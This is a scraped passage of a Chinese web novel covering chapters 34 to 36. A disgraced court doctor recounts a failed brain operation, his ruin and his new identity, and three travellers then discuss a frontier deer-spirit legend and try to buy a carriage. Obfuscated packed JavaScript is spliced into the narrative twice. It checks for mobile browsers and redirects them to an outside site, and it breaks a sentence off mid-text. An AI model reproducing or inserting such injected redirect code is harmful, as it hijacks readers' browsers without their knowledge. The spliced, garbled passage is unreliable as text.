“脑瘤啊......”尤里暗自思索着对策,帝国目前还从未有过成功的开颅手术记录,这可以说是绝症了。 “您也不用太有压力,我活了这么久,身边的人要么死要么流放,无所谓的。”将军努力的挤出笑容,对医生说道。 尤里医生看着老人慈祥的笑容,发觉他与其他的那些贵族有着不同的气质,身为医生的责任让他开始思考,究竟有没有可能治好他。 “这样吧,我还是帮您检查,毕竟您家里人已经付过诊费了。”医生打开诊箱,拿出那些诊疗器械。 将军轻轻应了一声,听从着医生的安排。 尤里医生细致的帮年迈的将军做着全身检查,他愈发觉得情况严峻,这可能远不是国内的医疗水平能解决的问题。 时间不知道过去了多久,正当医生整理器械时,卧室门被打开了。 “将军,您怎么样了?” 伴随着轻声的问候,两名衣着光鲜的年轻人走了进来。尤里医生边收拾诊箱,边打量着这一男一女,他们身上的服饰精美华丽,做工不是普通小贵族家能买得起的。 但让尤里注意的,是他们远别于其他贵族的清澈眼睛。 听见来客的说话声,将军努力用手臂撑起自己,靠在床头,哪怕头部的剧痛让他眯起眼睛,可见这两个人对他有重要的意义。 “里奥,伊琳。”他伸手指着尤里,接着向他们介绍道:“这是尤里医生,疑难杂症领域的专家,等我病好了,让他也来俱乐部。” “这是里奥尼德和伊琳娜,等我好一点了再向你介绍吧。”将军说完,朝医生轻轻点头,又躺了回去。 尤里医生朝她们礼貌的点点头,随后就继续收拾自己的东西了。他认真在脑中思忖着一切可能的外科术式,以各种方案确定病灶究竟在大脑什么位置,从而一举切除。 离开将军的别墅时,一辆豪华马车正在门外等着他。 “尤里医生,医学院院长请您做客。”马夫从车上跳下来,恭敬的说道,随后将矮脚凳摆在了车厢前。 尤里医生有些疑惑,他说道:“老师?他找我有事吗?” 车夫没有回应他,只是恭敬的向他鞠躬示意。 在首都郊外的白桦林旁,矗立着一座豪华的别墅庄园。外面茂密的蔷薇花丛包围着,主楼这幢两层建筑有着恰到好处的淡黄色外墙,六根大理石柱撑起的门廊前,放着两尊不知何处运来的大理石花瓶,里面总是插着当天剪下的鲜花。 作为文官,同时又是世袭贵族兼帝国医学院院长,他的书房占据着别墅最好的视角,此时正站在高大的落地窗后俯瞰着医生走进来。 “老师,我是尤里。”尤里轻轻敲着房门,这时一名年轻漂亮的女仆打开门,一缕细不可见的发丝从头上的帽檐边垂落,她拿着空托盘走了出去。 院长此时已经坐回自己的办公桌前,透过眼前的镜片打量着自己曾经带过的学生。 “怎么样,好久不见啊!”院长热情的打着招呼,但仍旧有着贵族式的疏离感。他的桌上有一些期刊杂志,还有一封开启的信件,上面仅仅盖着空的火漆印,没有贵族的纹章。 和平常的医生或学者不同,院长的书房里既没有骨骼模型,也缺少书卷气,大多是些做工精美的艺术品。 只有墙壁上那《杜普教授解剖课》的蚀刻版画复制品,倒像是某种猎奇式的附庸风雅。 尤里医生尊敬的向院长问道:“老师,您找我有什么事吗?” 院长办事一向雷厉风行,他示意尤里入座,随后从桌子上推过来一本医学期刊。 他对尤里说,“怎么样,看看吧,西方那些医学强国又有新动作了。” 医生翻开书页,里面被着重标记的,正是几例成功实施的脑瘤手术。 “我听说,你收治了一名脑瘤患者?”院长锐利的目光看着医生。 尤里医生没想到消息传得这么快,但想想也是,毕竟将军家之前已经找过好几个医生了,怕是现在全城的医院都知道这件事。 “不能说收治吧......您知道,脑瘤几乎就是绝症,更何况,那是将军......”尤里不敢把话说得太死,他含糊的回应着院长。 院长没直接回答他,而是拿起刚刚女仆送进来的茶壶,斟满红茶,把杯子递到医生的面前。看着他的动作,尤里医生想到自己灵敏的指尖一向怕烫,几乎很少喝热茶。 “将军已经年迈,即便失败也不会怎么样的。你不了解他,他是个品行端正的好人,我和他可是认识二十多年了” 他像是想着记忆中的将军,见医生没什么反应,又接着说道: “假如说,我让医学院全力支持你呢?”院长的双手在眼前撑起,用拇指支着自己的下巴。 身为优秀的医生,谁又没有野心呢,但尤里还是犹豫了,他说:“这......恐怕也很难办吧,毕竟这是开颅手术......” 院长大笑一声,说:“我看出来了,其实,你是想试试吧?” 尤里医生没敢点头。 “帝国医生在学术上的努力有目共睹,但学界并非净土,话语权仍然是由国力决定的,这点你认同吧?”不知为何,院长把话题扯远了。 但他说的有道理,尤里医生肯定的回答了他。 “那你看,假如我们完成了西方强国能做到的病例,是不是能证明帝国医学界的实力?”院长指着那几篇论文说。 也没问题,尤里医生点点头。 “这么说吧,我将动用全部力量,帮你完成这台手术。成功之后,论文帮你投到顶级期刊,第一作者写你,怎么样?”院长靠在椅子上,仿佛胜券在握。 “您太客气了,有您这么多年的支持,作者写您也可以的。”尤里医生客气的对院长说,但他还是有点害怕。 院长指着墙上那面铜版画,对尤里说:“尤里,你看那幅画,认识吗?” 尤里当然认识,他求学时或是后来参加医疗峰会,遍历各国,甚至还见过原画。 “认识的,是《杜普教授的解剖课》”医生点点头,谦逊的说道。 “这幅画是17世纪的,什么概念,那时候帝国才刚刚建立,他们就已经在研究人体了!”院长越说越慷慨激昂,他站了起来,走到医生面前接着说:“往大了说,是为了帝国荣耀,往小了说......” 他扶起尤里医生的手,摩挲着无名指上的一枚婚戒,说道:“要是能有此等成就,还用担心在夫人的贵族亲戚面前抬不起头吗?” 这些话句句戳到尤里医生的痛处,他点点头,说:“那......我考虑下,先设计几套方案吧。” 院长坐了回去,接着说:“放心吧,鉴于病人这种紧急的情况,我已经知会过医学院了,随时做好准备。” 离开书房时,尤里医生经过挂着版画的那面墙,他抬头仔细看着画上的内容。原来,离近之后才知道复刻的版画在细节处远不及原画高明,那被实习医生们簇拥着的杜普教授,他手下的尸体就像被切开的蛋糕,一如尤里医生婚礼时的那个。 回到家中,尤里医生夜以继日的翻看各类医学论文,查看相关病历。院长也确实像他所说的,时不时就派人送来各种资料。 终于,那一天来了。 “尤里医生,病人已经突然出现意识模糊了,四肢还有轻微震颤。”护士焦急的喊来医生,不知为何,将军的病情急转直下。 几日前,情况恶化的将军被送进医院。 尤里医生跑到病房前,看见将军的家属已经聚齐到了病榻周围。他们有的摇晃着失去意识的将军,有的低声哭泣,只是还带着贵族式的克制。 “医生,您救救我父亲吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247197|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的独子噗通一声跪倒在面前,身上的外套边缘能看见磨损的痕迹,但胸前却装饰着许多金银饰品。 医生点点头,示意护士将他带走抢救。 另外一名不知道什么身份的亲戚突然拉住尤里的胳膊,她严肃的说道:“院长应该和您说过了吧,您为什么迟迟不为将军做手术。” 那些早就烂熟于心的术式浮现在尤里的眼前,可童年时,南方农田里的烈日也照在他头上,他不想让自己得来不易的生活受到任何威胁。 “手术很危险的......成功率恐怕不足二成......”尤里不敢看着他们的眼睛,低下了头。 将军的儿子也站起身来,说:“您知道我父亲的军功威震朝野,倘若您见死不救的消息传出去......” 那女人也起身凑过来,对医生说:“我们本来也是自愿的,只求您能救回将军。” 尤里医生没有立即答应他们,只是去换上手术服,带好橡胶手套,和护士安排好相关事宜,随后走进了手术室。 但眼前并不是护士们匆忙急救的身影,而是许多实习医生。 他不知道他们是什么时候来的,他们紧密地包围着手术台,足足有三四层。一张张年轻或略显稚嫩的脸,因兴奋和求知欲而微微扭曲,眼睛里闪烁着手术灯冰冷的光。 实习医生身上穿着或新或旧的白大褂,他们呼吸着,那温热的气息交织在一起,形成一股令人窒息的热浪,扑面而来。 那一刻,尤里感觉自己就像油画中的杜普教授。但医生的责任感让尤里没有再留意他们,而是径直走向手术台,指挥着副手和护士。 “先确认颅内压,腰部穿刺检查脑脊液。”尤里医生冷静的下着指令。 副手和护士们手脚麻利,立刻就将针头刺入了将军的腰椎。 手术室里鸦雀无声,实习医生们忙着在笔记上记录手术过程。这时,一名胆大的医生小声提出了疑问:“但假如瘤体位置处于后颅窝,快速下降的颅内压岂不是会导致......” 会导致脑疝,尤里很清楚这种令人绝望的情况,但时间已经不等他了。医生转过头,副手已经将针头刺入,正抽取着脑脊液。 “医生!病人呼吸变得微弱了!”护士一直在观察着将军的反应,她大声向尤里喊着。 尤里医生看着手术台旁边早已准备好的器具,现在不得不做了。 “开颅。”他低沉又肯定的声音响起,护士们手忙脚乱的往他手中递着各种器具。尤里医生不能允许任何一个病人死在他的手术台上,一个都不能。 那些早就设计好的外科术式清晰的出现在眼前,为了这一刻,他已经准备许久了。 尤里轻巧又快速的割开头皮,护士们用凡士林摸在细小血管边缘,避免失血过多。随后,他小心翼翼的剥开骨膜,将军白花花的颅骨在昏暗的手术灯下显得格外耀眼。 “钻孔。”尤里医生下达指令,他们用准备好的环钻在颅骨上钻出一个又一个小孔,随后拿手锯打开坚硬的骨骼。正在医生拿着撬刀准备取出颅骨片时,护士在一旁说话了。 “尤里医生,将军已经死了。” 医生沉浸在他精心设计的手术中,早就忘记周围人的存在。直到护士走过来拽了拽尤里的袖子,他才反应过来有人说话。 “医生,停下吧,将军死了。” 护士指着将军的脸,向上掀开尸体沉重的眼皮,那里面的瞳孔已经散大了。尤里手中的锯子就像是锯开了将军握在手中的,那与尘世连接的最后一根绳索。 在场的实习医生们发出失望的嘘声,他们就像是因为演员失误而散场的观众,一个接一个从手术室离开,只剩下愣在原地的尤里医生和收拾残局的护士们。 “你怎么回事!” 手术室外的将军亲戚们像是早就准备好了,一拥而上,把尤里医生围到尸体旁。 “这就是帝国最优秀的医生?我看像个笑话!还以为至少能做上手术,结果做一半人就死了!”将军的儿子冲上前,想要给尤里一拳,但被周围的人拦下来了。 “准备上法庭吧!这么多实习医生都能作证!荒唐!” 他最后朝着尤里医生的脸上啐了一口,然后带着那些亲属转身离开了。 医生深吸了一口手术室里污浊的空气,强迫自己镇定下来。额头上沁出的汗珠滑落到睫毛上,又渗进眼睛里,带来一阵苦涩的疼痛。他努力想要揉自己的眼睛,却怎么也揉不到。汗液里的盐分不停的像针刺一般,模糊着双眼,他只好不顾无菌原则,用力扯下手套,一直揉一直揉,一直到眼睛都布满了血丝。 “好了,我能不说接下来的部分吗?”叶甫根尼自己打断了回忆,他的双手微微颤抖,声音也是。 伊琳娜听得沉浸,眼睛也泛红了。还没等里奥尼德张口,她就先对叶甫根尼说道:“医生,您继续。” 最高法院前的大理石台阶冰冷而宽阔,他一步步往下走,脚步虚浮,那身曾经象征着他即将跨越阶级的、剪裁合体的深色外套,此刻却沉重得让人站不住。法庭内那一声冰冷的“剥夺资产,吊销行医资格”似乎还在耳畔轰鸣,压过了身后法院大门沉重的关闭声。 几名衣着光鲜的贵族青年谈笑着从他身边快步走过,钻进了一辆豪华的四轮马车,车夫鞭子一响,很快消失在雾霭里。尤里医生下意识地挺直了背脊,他是败诉者,但他不愿连最后的尊严也丢掉。 寒风卷起他大衣的下摆,带来一阵刺骨的凉意。 他没有选择叫来一辆公共马车,而是摇摇晃晃着走回了家中,但眼前的景象更让他绝望。家里所有值钱的陈设都已经被搬走,只剩下他曾经发表的那些论文集,七零八落的散在地上。 “管家!管家!”尤里近乎于癫狂的在空荡荡的房间里喊着,那中年男人从里屋走了出来,和医生打着招呼。 “您回来了。”管家朝着尤里点头示意,低声说道。 尤里迈出一步走上前去,对管家说:“她们人呢?” 管家不知道该如何回应,有些结巴的说:“夫......夫人带着孩子已经回老家了。” 夕阳完全沉没了,尤里知道她们不会回来了,便打发走管家,独自站在废墟般的豪宅中央。他听见自己的怀表在衣袋里滴答作响,或许因为机芯坏了,总是走得忽快忽慢。 尤里医生离开家,不知道自己走了多久,他摇摇晃晃在繁华的街道上穿梭。当他抬起眼帘时,才发现自己站在了河对岸的贫民区,那些歪斜的木板屋像醉汉一般东倒西歪,空气中漂浮着烂菜叶子与劣质烈酒的酸腐臭味。 “先生需要帮忙吗?”阴影里靠着个穿脏污外套的瘦小男人,手指像苍蝇般神经质地搓动着,“看您像是迷了路......” 医生本能地后退半步,却撞上湿漉漉的砖墙。 那人立即逼近两步,露出镶金的门牙:“别害怕嘛,体面人偶尔都会需要些......特别的服务。” 尤里医生从未违法乱纪,这不是该呆的地方,只想赶快离开。 但那个人又忽然掀开衣襟,内侧缝满各种证件:有首都的居留许可,印着皇帝亲笔签名的身份证明,甚至还有医学院图书馆的通行证。 “要吗?给您弄个新身份。”贩子的眼睛在暮色中闪着幽光,“从边境走,您往东或者往西都行。” 医生像是着了魔,瞪大眼睛盯着那些证件。他想重新开始,像年少时刻苦读书考入首都时那样。 那名瘦小的男人见他没拒绝,用力拉出一个破烂的酒箱当桌子。尽管其貌不扬,但那手写在身份证明上流利优美的花体字,却仿佛出自某个身份高贵的优雅女性。 “您想叫什么名字?”男人咧开嘴,牙齿上好像还沾着菜叶子。 尤里医生想了想,他想起那首著名的长诗,来自于名震文坛的贵族诗人。就像他笔下那样,主角在决斗中失手杀了自己的朋友,然后自我放逐,远走他乡。 成为一名多余的人。 “叶甫根尼,就叫这个吧。” 35.传说的锚点 时间已经逼近凌晨,山谷里刮来的风,穿过空无一人的街道,一阵阵地叩打着诊所松动的窗板。 在这间小镇诊所唯一的储藏室里,只亮着一盏小小的油灯。灯火不安地跳动着,那点昏黄的光晕艰难地扩散出去,勉强照亮一张破烂的椅子和围坐着的四个人,他们都沉浸在先前的故事之中。 眼前这个零落破碎的男人,从他口中讲述出的故事释放着莫大的能量,让见惯生死离别的鹿神也沉默不语。 萨哈良还记得叶甫根尼医生在故事中,提及自己极少喝热茶,于是他拿起冰凉的茶壶,想帮医生斟满。但水已经喝干了,他抖了几下都没能从壶中再倒出一滴。 “没事,我再倒点水。”叶甫根尼拿起茶壶,转身走了出去。 趁着他不在,伊琳娜偷偷擦了擦自己湿润的眼角。里奥尼德也叹了口气,他轻轻合上保险,将手枪塞回腰间的皮套里。 鹿神这次少有的安静,他突然对萨哈良用空灵而沉重的声音说:“萨哈良,听见了吗?那不是医生一个人的哀鸣,是那些罗刹鬼的欲望在啃噬所有人的灵魂。” 萨哈良点了点头,这种残酷的压迫是他在部族中从未听说的。在山野里,就算死也能也死的痛快。 医生接水回来后,里奥尼德站起身,他有些尴尬的张了张口,但医生打断了他。 “我再给你看看病历吧。”叶甫根尼从架子上抽出一沓厚厚的册子,翻到初次见到将军那天。 那本病历的纸张已经被翻到有些烂了,边角又糊着新纸做保护。医生认真的在上面做好标签,其中事无巨细的记录到了将军去世,甚至连家属拒绝尸检,他只能猜测死因的部分也写在病历上。 “不好意思,医生。”里奥尼德坐了回去,尽管仍然保持警惕,但他也认为不该怀疑正直的人。 “那倒不必,你理应怀疑我,军官。”叶甫根尼笑着戳了戳里奥的肩膀,原本该是肩章的地方不知何时被里奥拆了下来,为的是隐藏身份。 伊琳娜已经从这个沉重的故事中抽身出来,她正在脑海中梳理着每一处细节,试图推断出谁才是幕后黑手。 “尤......叶甫根尼医生,您帮我拿一张纸吧。”伊琳娜从手包里拿出钢笔,医生递给她一张有些破旧了的废处方单。 她把纸铺平,往上面写下了几个关键人物:“您的经历要比我看过的任何一部小说还复杂,但我们恐怕也只能看到一角。” 伊琳娜抬头看着医生,原本扎好的发髻有些已经散了下来,她拢起发丝,认真说道:“在这个故事里,我最怀疑的,是您的老师。” 叶甫根尼医生并不奇怪,他表示肯定。 “其实我知道他是不学无术的混子,但他确实帮助过我。”叶甫根尼无法与过去的自己和解,他仍能记起在医学院的快乐时光。 萨哈良想到他们总是不断提到的贵族二字,说:“在你们的帝国里,似乎贵族和普通人是不一样的。而医生好像不是贵族,那这么重要的事为什么会直接找到医生......” 叶甫根尼惊讶的看着萨哈良,他好像比第一次见面时机灵了不少。 “萨哈良,你说的很有道理。我也回想起当时在院长书房时,桌子上那封信,上面是空白章盖着的火漆印,好像不想让人知道是谁寄的。”医生笑着向萨哈良点头。 伊琳娜也明白这一点,她小心翼翼的说:“也正是这个原因......” 不过叶甫根尼医生已经不在乎了,他对伊琳娜说道:“大人物眼中可以随意丢弃的,一个多余的人,对吧。” 伊琳娜猛地摇着头,如果叶甫根尼说的都是真实的,那他无疑是值得尊重的人。 “我想到父亲和叔父都说起过,无论哪一方都对将军的死感到庆幸。各方势力交织在一起就像一艘破船,他的死让这艘破船还能继续开下去。”帝国的政治斗争,里奥尼德了解得更多,但也仅此而已。 他说完之后,大家都沉默了,因为他们发现自己无能为力。哪怕是作为世袭贵族的里奥尼德也是如此,他第一次意识到自己身为政局的边缘人,什么都做不到。 “总之,能这么痛痛快快说出来让我舒服多了。”叶甫根尼医生的声音轻盈了不少,像是如释重负。 医生又接着说道:“我一直在寻找这么一次机会,直到在异国他乡还能遇到见过的人。”他说完,扭头看了看萨哈良。 “对了,你们是怎么认识萨哈良的?”叶甫根尼很在意这个单纯的部族少年,哪怕只听过一次名字就牢牢记在心间了。 萨哈良抢先回答:“是在被送去劳役的时候,里奥和伊琳娜姐姐把我救了出去。” “里奥把那欺负萨哈良的士官长揍了一顿。”伊琳娜捂住嘴笑着说道。 “倒也不是揍了一顿吧......我就踹了他一脚。”看着医生好奇的眼神,里奥尼德顿了顿,又说:“呃,还有一巴掌。” 叶甫根尼医生欣慰的笑了,至少萨哈良跟他们在一起不会吃亏。他在心里想着,不知道为什么,当时在黑水城边和萨哈良告别时,就隐隐觉得可能还会见到他。 伊琳娜收起笔和纸,环顾着简陋的诊所,说:“医生,说到异国他乡......这个小镇到底是怎么回事?我们进来的时候一个人都没有,街上还洒满了大蒜和圣水,像是防吸血鬼一样。巡逻的士兵说什么鹿角妖作祟?” 一提到这种迷信传说,叶甫根尼和里奥尼德两个人就感到莫名的怒火,他俩同时叹了口气。 “大概就是镇子里精神失常的人太多了吧,偏偏这里还生产镜子,听起来怪吓人的。”叶甫根尼又拿出一本新的病历给伊琳娜看,上面记录了医生来到小镇以来遇见的病人。 伊琳娜翻看着病历,上面不仅有精神失常,还有各种奇怪的疱疹,叶甫根尼医生细心的将病状描摹了下来。 “这和鹿角妖又有什么关系?”里奥尼德有些恼火,远东的神父真是没完没了。 “这个嘛......我也不想了解迷信的人在想什么。不过你知道这个传说吗?”叶甫根尼问里奥,这个故事可以说无人不知了,就连萨哈良也点了点头。 可伊琳娜却表示从来没听说过。 里奥喝了一口冰凉的茶水,说:“不就是一种存在于山野之间,可以在长角人形和鹿形间变换的精灵吗?可能有的地方会害怕这个传说。” 里奥尼德的话让萨哈良立刻扭头看了眼鹿神,鹿神指着自己说:“他描述的这不是我吗?” “哈哈,你讲的传说太古老了,仿佛来自于一千年前的瓦良格人。”叶甫根尼惊讶的看着他,然后他好像懂了,说:“看来贵族们的确不清楚老百姓之间流传的东西。” “萨哈良,你给他们讲一遍在木排上农夫说的。”叶甫根尼把这个机会交给了萨哈良,少年看上去聪明伶俐,应该还能记得吧。 萨哈良在医生的提示下,磕磕巴巴的把这个故事讲完了。 伊琳娜又重新拿出了纸和笔,她听完后,有些疑惑的问道:“这种东西,真的有人会信吗......” 但经历过人类学训练的里奥尼德发现了问题,他思考了一阵后,说:“我怀疑它和山野精灵的传说有传承关系。” 叶甫根尼医生点点头,他说:“这就是有趣的地方了,因为木排上农夫说的和我小时候听过的一模一样。” “我来自于琥珀海旁的村子,也听说过更离奇的故事。”医生看着在场的每一个人,在传说渲染出的诡异气氛下,屋里仿佛冷了几分。 “就在大约十年前,我家乡隔壁的村子里发生过一起离奇的凶杀案。某位农家的男主人被发现遭人开膛破肚,他的头被割掉,换成了鹿的头。”叶甫根尼边说,边在自己的头上比划着。 “嘶——”听到鹿头,鹿神又有些不高兴了。 这种哥特小说中才能听到的事件让伊琳娜起了兴趣,她手中的钢笔不停飞舞着。 “村子里有人说是因为这男的喜欢酒后打老婆,那可怜的女人不堪其辱,才痛下杀手。”他喝了口水,润润嗓子。 医生又回头看了看紧闭的房门,接着说道:“来到远东的小镇之后,也就是这里,我听到了最新的版本。” “幼童夜啼起时锁紧门闩, 鹿铃已响彻白桦林间。 披毛的妖异挑碎月光, 负心人的尸骨正在变凉。” 叶甫根尼指了指窗外,说:“所以你们发现了吗,在这里,故事影响的对象从所有人变成了幼童和负心人。” 里奥尼德点点头,他很清楚传说流变的轨迹,说道:“事实上,这些故事都是伴随着帝国殖民的脚步传播的。” “我有个疑问。”伊琳娜按住钢笔,她对医生说:“您是怎么想到教那老妇,那么生僻的诗句?” 听到他们还记得那老妇,叶甫根尼显得很高兴,他笑着对伊琳娜说:“那个老妇其实人很好,只是看起来吓人。她的智力不知道为什么停留在了幼童时期,亲人也都不在了。” 叶甫根尼指向货架最高处,那里是几瓶透着金黄色光泽的蜂蜜。 “这些可都是从狗熊喜欢光顾的蜂巢那里采的,因为她喜欢跟我聊天,我给她讲故事,所以送了不少。”医生说着从上面拿下来一罐,帮他们舀出来倒进杯子,然后接着说:“那首诗也是讲故事的时候,教给她的,不过她好像只记得那句。” 鹿神凑上去闻了闻蜂蜜中山野的气息,说:“你看,我就说她那都是货真价实的好东西。” 他们每个人都尝了尝蜂蜜水,的确如医生所说,里面带着深山雨后才有的奇异花香,清甜但不腻口。 里奥尼德对这个话题很感兴趣,他要来伊琳娜的纸和笔,在上面写着。 “因这死者脚步如梭——这首诗里有大量的生僻词,又是首都的正统发音。我可以理解为,你在这里埋下了一个锚点吗?”里奥拿着手里的纸,看着医生。 叶甫根尼疑惑不解,他说:“锚点?什么意思?” 这种研究方法在人类学中是存在的,它与一般的田野调查完全不同,而是主动介入了本地人生活中,里奥尼德为医生解释道:“可以理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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里奥尼德点点头,先前的士兵哗变已经让他知道边疆地区的危险了。 在他们躺着的地方,墙角立着一个歪斜的药柜,模糊能看到里面稀疏的药品。几个贴着标签的玻璃瓶,但里面的药已经所剩无几。 尽管毯子下的石砖在向上透着寒气,但总归比野地好了不少,萨哈良慢慢闭上了眼睛。 “咳......咳咳” 那扇一直紧锁的房门后,突然传来一阵压抑不住的痛苦咳嗽声,声音在寂静的夜晚显得格外清晰。 始终保持警惕的里奥尼德猛地坐起来,他按着皮套里的手枪,看见叶甫根尼医生面色紧张,从里屋快步走了过去。 “医生,怎么回事?你这里还有别人?”里奥尼德握紧手枪的木柄,质问着医生。 叶甫根尼的眼神中似乎闪过一丝慌乱:“呃......村民采蜜时有个女人被狗熊伤到了。” 他边说边下意识地向门口挪动,想挡住大家的视线。 鹿神飘了过去,他贴着房门,对萨哈良说:“里面的确有一位重伤的女性,她的咳嗽声里带着血气。” “我能进去看看吗?”里奥尼德已经站了起来,今晚谈话的内容涉及许多敏感话题,倘若医生想害他们,就危险了。 叶甫根尼没有同意,他坚定的回绝了:“不用!谢谢你们。病人情绪很不稳定,怕生人。而且伤口容易感染。” “那医生,我也是女人,我可以跟您进去确认吗?我离远些就好。”伊琳娜走上前去,她的声音虽然温柔,但是不容辩驳,“您有所不知,在远东我们经历过许多生死时刻了,请原谅我们的冒昧。” 叶甫根尼知道无法再拒绝他们了,只好点点头。 他快步走到柜台,拿起那些器械和几瓶药水,然后把打开一条缝让两人挤进去,从里面传来模糊的安抚声:“没事了......没事了......给你一些止疼药。” 里奥尼德和萨哈良紧盯着虚掩的房门,他们的手中始终紧握着武器。一旁的鹿神没有傻站着,而是跟着他们一同挤了进去。 没过一会,他们就出来了,医生的手上还沾着血迹。 “没事了,确实是受了重伤的可怜女人。”伊琳娜走出来,眼前还停留着苍白的脚踝,长长的头发,和被褥上独属于女人的身体起伏。 她拍了拍里奥尼德的肩膀。 鹿神站回萨哈良身边,说:“她说的没错,但那人伤得蹊跷,不像狗熊造成的,倒像是被什么东西的角贯穿了。” 萨哈良点点头,他对医生说道:“不好意思医生,我们先前差点丢了性命,所以......” 叶甫根尼从水桶里舀着水,清洗手上的血迹,转过头对大家笑着说:“没事的,我能理解,大家睡个好觉吧。” 三人互相交换着眼神,里奥的疑虑更深,伊琳娜觉得奇怪,但也没发现疑点。萨哈良则相信鹿神的话,觉得医生在隐瞒,但他也坚信医生是好人。 说完,医生就回到里屋准备睡觉了,没过多久,里面就传来沉重的鼻息声。 36.前往地下拳场 远东的天亮得迟,即便是春日的清晨,铅灰色的云层也沉沉地压着无尽林海中的小镇。他们三人从叶甫根尼的那间破旧诊所中走出来,冷冽的空气刺入肺腑。和昨天不同,街上已经忙碌起来,带着木材和奇怪矿石粉尘的味道。 听从医生的嘱咐,他们三人换上了不显眼的衣服。又告诉他们马车夫的店在小镇的东边,离得远远的就能看到招牌。 说完,他们就出发买马车去了 叶甫根尼给里奥一条藏蓝色的旧麻布裤子,让他看起不那么像军官。伊琳娜则是直接将衬裙穿在外面,因为医生告诉他农妇都会这么穿。萨哈良则是拿出先前旅店老板娘带他买的那身,反正田人长的和山人没什么不同。 只不过里奥尼德和伊琳娜那属于贵族优雅的气质,尤其是伊琳娜极为出众的美貌,让街上的男人都忍不住回头看她。 “我们是不是应该......拿围巾把脸遮上?”在瞪回去一个总是跟着他们的奇怪男人后,里奥尼德对大家提议道。 伊琳娜倒是无所谓,她说:“那样更奇怪吧,反正我们买到马车就可以离开了。” 他们牵着一匹马,向市场的方向走。在三人里面,现在反倒是萨哈良更像镇子里的住民了。 在经过教堂时,他们特意没从大路走,而是悄悄穿过小巷。但还是能听到远处传来神父布道和民众集体祈祷的声音,声音狂热而压抑,仿佛在做什么动员一样。时不时还能听见“驱魔”、“鹿角妖”、“宵禁”等字眼。 “荒唐,这帮神棍天天骗人们,再偷偷攫取利益。”经历过先前的事情,里奥也开始像伊琳娜一样骂他们神棍了。 走了没多远,这三位都没有什么金钱概念的人突然想起,买马车是要用钱的。 “里奥,我们有钱吗?”伊琳娜停了下来,她翻着手包,里面根本没有银币。 里奥尼德一惊,为了摆脱那些哗变的士兵,他把钱全花出去了:“我.....我也没有。” 两人互相看着,想不出来办法。 “我有啊,我应该有好多呢!”萨哈良低头从腰间解下皮袋子,给他们看,“而且我行李里还有下山时带的银器。” 里奥翻了翻,里面有十多枚银币,买个运货的板车应该也够了吧,把萨哈良和伊琳娜放上面当稻草拉。 想到这,他没忍住噗嗤一声笑了出来。 “笑什么呢!快走买马车去了。”伊琳娜瞪了他一眼,虽然自己也没什么花钱的概念吧,平时这种事都是他们管家负责的。 果然如医生所说,卖马车的地方很显眼。 那是位于镇子边缘被车轮碾得稀烂的空地,这里比教堂旁边更显混乱。空气中弥漫着更浓重的马粪气味,还有铁锈和松木油脂的刺鼻。 门前晾着刚刚用铁片箍好的木制车轮,还有长长的车辕木。这里的马车虽然不如里奥那辆豪华,但也是该有的都有,不管什么类型,哪怕运货的板车。 正忙着教训学徒工的光头老板看见他们走了过来,连忙出门迎接。他跑过来的时候活像是一个烤得裂开的土豆,尤其是看见伊琳娜后,热情地捧起她的手亲吻手背,但伊琳有些嫌弃的抽了回来,朝他礼貌地笑了笑。 “我尊贵的女士——”他注意到旁边面带愠色的里奥,接着说道:“还有先生们,你们想挑选什么车,我这都有。” “马车,能让我们三个人舒适乘坐的。”里奥尼德径直走向院内,挨个查看着里面摆放的那些车。 里奥的目光这才仔细观察空地上那几辆待售的马车,它们歪歪斜斜地陷在泥地里。车厢木板大多开裂变形,露出粗糙的木刺,轮毂上的铁箍锈迹斑斑,只有里面的一些盖在破布下面。 老板虽然像土豆,但是手脚麻利,掀起盖在马车上的帆布,眼睛始终没从伊琳娜身上挪开:“您看这辆怎么样,柔软的小牛皮内饰,还有厚实的橡胶车轮。” 见他们犹豫,又补了一句:“只需要二百银币,符合您的尊贵身份。” 二百银币,他们现在可没有这么多。 “我们不尊贵,只是普通人,还有更便宜的吗?十几银币那种。”里奥尼德尴尬地笑了笑。 老板这下明白了,原来他们兜里没钱,他咧起嘴说道:“什么啊,没钱装什么,我还以为你们是贵族。” 他把帆布盖了回去,脸上也没有刚才谄媚的笑容,只是盯在伊琳娜身上的眼神更是不再遮掩了。 “你们还在看什么?最便宜的八十银币。”说着老板就要把他们赶出去,还想往伊琳娜身边靠,好在萨哈良一直防备着他,立刻就挡在了前面。 鹿神看着那张市侩的面孔,说:“看这人的样子,其实我觉得骑马也挺好的。” 里奥尼德指了指他们带过来的那匹马,对老板说:“你看那匹马,卖给你,能抵多少钱?” 老板走了过去,掰开马的嘴,它不情愿的朝着老板狠狠喷着鼻子,有些口水或者鼻涕溅到了他的光头上。 “二十银币。”老板拿袖子蹭干净身上的液体,对里奥说道。 “你在说什么,这可是顶级的战马!”里奥只当是他不识货,指着那马长长的四肢和优美的腰线。 老板冷笑一声,说:“首先我们这最好卖的是驮马,能拉货。再者说,你都说是战马了,从帝国军队出来的,看这品质搞不好还是现役战马,我敢卖?” 他说的没错,这确实是掉脑袋的罪名。 “你们走不走?假冒贵族,还敢卖军马!再废话我要报官了!”老板拿起扫把就要把他们往外轰。 他们只好牵着马走了出去,看来车是买不成了。外面泥泞的街道沾得皮靴上都是泥巴,只能先站在路边,拿起地上的石头刮着鞋底。 “怎么办伊琳,我们买不起马车。”里奥尼德一边清理泥土,一边询问着伊琳娜的意见。 伊琳娜也没办法,她在想要不要去卖点自己的首饰。 